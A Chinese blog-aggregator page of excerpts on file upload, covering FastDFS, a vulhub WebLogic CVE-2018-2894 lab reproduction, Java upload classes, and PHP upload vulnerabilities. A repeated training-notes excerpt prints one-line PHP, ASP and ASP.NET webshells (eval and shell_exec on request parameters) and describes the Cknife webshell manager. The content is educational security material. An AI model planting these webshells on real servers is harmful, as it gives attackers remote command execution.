文件上传

FastDFS介绍

廉价感情. 提交于 2019-12-01 23:04:41
1.什么是FastDFS FastDFS是用c语言编写的一款开源的分布式文件系统。FastDFS为互联网量身定制,充分考虑了冗余备份、负载均衡、线性扩容等机制,并注重高可用、高性能等指标,使用FastDFS很容易搭建一套高性能的文件服务器集群提供文件上传、下载等服务。 FastDFS是一款开源的轻量级分布式文件系统纯C实现,支持Linux、FreeBSD等UNIX系统类google FS,不是通用的文件系统,只能通过专有API访问,目前提供了C、Java和PHP API为互联网应用量身定做,解决大容量文件存储问题,追求高性能和高扩展性FastDFS可以看做是基于文件的key value pair存储系统,称作分布式文件存储服务更为合适。 特别适合以中小文件( 建议范围: 4KB 到 500MB ) 为载体的在线服务, 如相册网站、 视频网站等等。 2.FastDFS架构 FastDFS架构包括 Tracker server和Storage server。客户端请求Tracker server进行文件上传、下载,通过Tracker server调度最终由Storage server完成文件上传和下载。Tracker server作用是负载均衡和调度,通过Tracker server在文件上传时可以根据一些策略找到Storage server提供文件上传服务

Weblogic复现之任意文件上传

随声附和 提交于 2019-12-01 21:53:13
最近在复现weblogic,今天复现一下其中的任意文件上传漏洞。 漏洞说明 版本 此漏洞涉及版本 10.3.6.0 12.1.3.0 12.2.1.2 12.2.1.3 环境部署 进入该漏洞环境目录 cd vulhub/weblogic/CVE-2018-2094 环境构建 sudo docker-compose build 启动 sudo docker-compose up -d 漏洞复现 前提 访问 http://your-ip:7001/console,即可看到后台登录页面 在CVE-2018-2894环境目录下,查看账号密码,运行以下命令: sudo docker-compose logs | grep password root@localhost:vulhub/weblogic/CVE-2018-2894# docker-compose logs | grep password weblogic_1 | ----> 'weblogic' admin password: ofX5JwIc weblogic_1 | admin password : [ofX5JwIc] weblogic_1 | * password assigned to an admin-level user. For * weblogic_1 | * password assigned to an

File,DiskFileItemFactory,ServletFileUpload,File...

我的梦境 提交于 2019-12-01 20:50:37
将请求消息实体中的每一个项目封装成单独的DiskFileItem (FileItem接口的实现) 对象的任务 由 org.apache.commons.fileupload.FileItemFactory 接口的默认实现 org.apache.commons.fileupload.disk.DiskFileItemFactory 来完成。当上传的文件项目比较小时,直接保存在内存中(速度比较快),比较大时,以临时文件的形式,保存在磁盘临时文件夹(虽然速度慢些,但是内存资源是有限的)。 属性 1) public static final int DEFAULT_SIZE_THRESHOLD :将文件保存在内存还是磁盘临时文件夹的默认临界值,值为10240,即10kb。 2) private File repository :用于配置在创建文件项目时,当文件项目大于临界值时使用的临时文件夹,默认采用系统默认的临时文件路径,可以通过系统属性 java.io.tmpdir获取。如下代码: System.getProperty("java.io.tmpdir"); 3) private int sizeThreshold:用于保存将文件保存在内存还是磁盘临时文件夹的临界值 构造方法 1) public DiskFileItemFactory() 采用默认临界值和系统临时文件夹构造文件项工厂对象

基于SOA的高并发和高可用分布式系统架构和组件详解

瘦欲@ 提交于 2019-12-01 07:02:41
基于SOA的分布式高可用架构和微服务架构,是时下如日中天的互联网企业级系统开发架构选择方案。在核心思想上,两者都主张对系统的横向细分和扩展,按不同的业务功能模块来对系统进行分割并且使用一定的手段实现服务之间的通信,并且基于弹性云服务搭建高可用的分布式解决方案。 但它们之间的区别可能比相似的地方要多,特别是体现在对服务的使用和与云服务的深度结合上。在具体实践中,微服务的架构也可以与其它互联网中间件组合在一起,组成规模更为庞大的SOA分布式系统。本文主要对一个典型的SOA分布式应用的架构和组件做详细的说明。 企业级系统架构的演变 单体式 单体架构即所有系统功能和模块基于MVC的设计模式耦合在一个单体服务器单元中。基于传统的MVC思想,单体应用基于前后端分离的原则,通过Model、Control和View共同来完成一个特点的服务请求。这种传统的架构模式带了了多人团队合作、代码更新和维护、持续部署方面的困难,更重要的是,这种架构无法支持互联网行业对高并发的需求。下图为一个典型商城应用的单体架构及其SSM实现架构: 关于单体式应用的更多资料,可参看: JavaWeb开发之详解Servlet及Servlet容器 基于SSM的Java Web应用开发原理初探 集群 至少在高并发的需求上,单体应用的缺陷是行业所无法忍受的, 那如何提升并发性能呢?一个直接的思路是,把单体应用变成多体,变成集群

(转)PHP文件上传漏洞原理以及防御姿势

白昼怎懂夜的黑 提交于 2019-12-01 05:29:41
PHP文件上传漏洞 本文用到的代码地址:https://github.com/Levones/PHP_file_upload_vlun,好评请给小星星,谢谢各位大佬! 0x00 漏洞描述 ​ 在实际开发过程中文件上传的功能时十分常见的,比如博客系统用户需要文件上传功能来上传自己的头像,写博客时需要上传图片来丰富自己的文章,购物系统在识图搜索时也需要上传图片等,文件上传功能固然重要,但是如果在实现相应功能时没有注意安全保护措施,造成的损失可能十分巨大,为了学习和研究文件上传功能的安全实现方法,我将在下文分析一些常见的文件上传安全措施和一些绕过方法。 ​ 我按照最常见的上传功能–上传图片来分析这个漏洞。为了使漏洞的危害性呈现的清晰明了,我将漏洞防御措施划分为几个不同的等级来作比较 0x01 前端HTML页面代码 <!DOCTYPE html> <html> <meta charset="utf-8"> <title> file_upload_test </title> <body> <form enctype="multipart/form-data" action="upload_1.php" method="POST" /> <input type="hidden" name="MAX_FILE_SIZE" value="100000" /> 选择你要上传的图片: <br />

集训第六天:文件上传漏洞

我怕爱的太早我们不能终老 提交于 2019-12-01 05:08:29
韩舒学姐(相当温柔)今天给我们讲解了文件上传漏洞,以及Anrwsord和Cknife等工具的使用。 文件上传漏洞 上传的文件不进行限制,有可能会被利用于上传可执行文件、脚本到服务器上,并且通过脚本文件可以获得执行服务器端命令的能力 木马 根据语言分类,有PHP、ASP、JSP、ASP.NET等不同语言下的木马;根据作用分类,有大马和小马 PHP一句话木马: <?php ehco shell_exec($_GET[‘a’]); ?> <?php ehco shell_exec($_POST[‘a’]); ?> <?php @eval($_POST[‘a’]); ?> ASP一句话木马: <%eval request(“Cknife”)%> ASP.NET一句话木马: <%@ Page Language=”Jscript”%><%eval(Request.Item[“Cknife”],”unsafe”);%> shell_exec() 通过环境执行命令,并且将完整的输出以字符串的方式返回 eval() 把字符串作为PHP代码执行执行a接收到的内容 Cknife(菜刀) 超级强大的网站管理工,分为客户端和代码两部分 只要将那简短的一句话代码放到网站上去就可以取得网站的权限 运行环境:安装了JRE1.7+环境的所有操作系统 主要功能:文件管理、虚拟终端、数据库管理 DVWA’s File

集训第六天:文件上传漏洞

China☆狼群 提交于 2019-12-01 05:05:56
韩舒学姐(相当温柔)今天给我们讲解了文件上传漏洞,以及Anrwsord和Cknife等工具的使用。 文件上传漏洞 上传的文件不进行限制,有可能会被利用于上传可执行文件、脚本到服务器上,并且通过脚本文件可以获得执行服务器端命令的能力 木马 根据语言分类,有PHP、ASP、JSP、ASP.NET等不同语言下的木马;根据作用分类,有大马和小马 PHP一句话木马: <?php ehco shell_exec($_GET[‘a’]); ?> <?php ehco shell_exec($_POST[‘a’]); ?> <?php @eval($_POST[‘a’]); ?> ASP一句话木马: <%eval request(“Cknife”)%> ASP.NET一句话木马: <%@ Page Language=”Jscript”%><%eval(Request.Item[“Cknife”],”unsafe”);%> shell_exec() 通过环境执行命令,并且将完整的输出以字符串的方式返回 eval() 把字符串作为PHP代码执行执行a接收到的内容 Cknife(菜刀) 超级强大的网站管理工,分为客户端和代码两部分 只要将那简短的一句话代码放到网站上去就可以取得网站的权限 运行环境:安装了JRE1.7+环境的所有操作系统 主要功能:文件管理、虚拟终端、数据库管理 DVWA’s File

文件上传的几种方法

£可爱£侵袭症+ 提交于 2019-12-01 04:36:21
当我们想把文件上传到web服务器上时,通常有如下几种方法: 方法1、html(form)+nginx(文件上传模块)+php:这种方式最复杂。一般不用。实现过程说明如下: 步骤一:form中,action=“/upload”. 指定一个目录,而不是一个文件。method都是POST. 步骤二:在nginx中,安装文件上传模块进行编译安装。然后配置文件中,对/upload访问目录进行配置。指定相关参数。并指定后端处理文件上传的php文件。经过nginx转手,后端php获取的参数就是nginx传递的,不是前端form过来的。 步骤三:后端php文件对传递过来的文件信息进行处理。需要配置php.ini,允许上传文件。 以上实现的方法,在之前的html备份文件中存在。可以找到(html201908221746)。nginx的备份文件:nginx.conf201908242138。 方法2、html(form)+nginx+php:这种方式常见,配置比较简单。 步骤一:form中,action=“/test.php”. 指定后端php文件,method都是POST. 步骤二:nginx只做为web服务存在 步骤三:php.ini中启用文件上传,指定文件临时存储路径等等。 步骤四:php文件处理前端传递过来的上传文件。 比如: html: <form enctype="multipart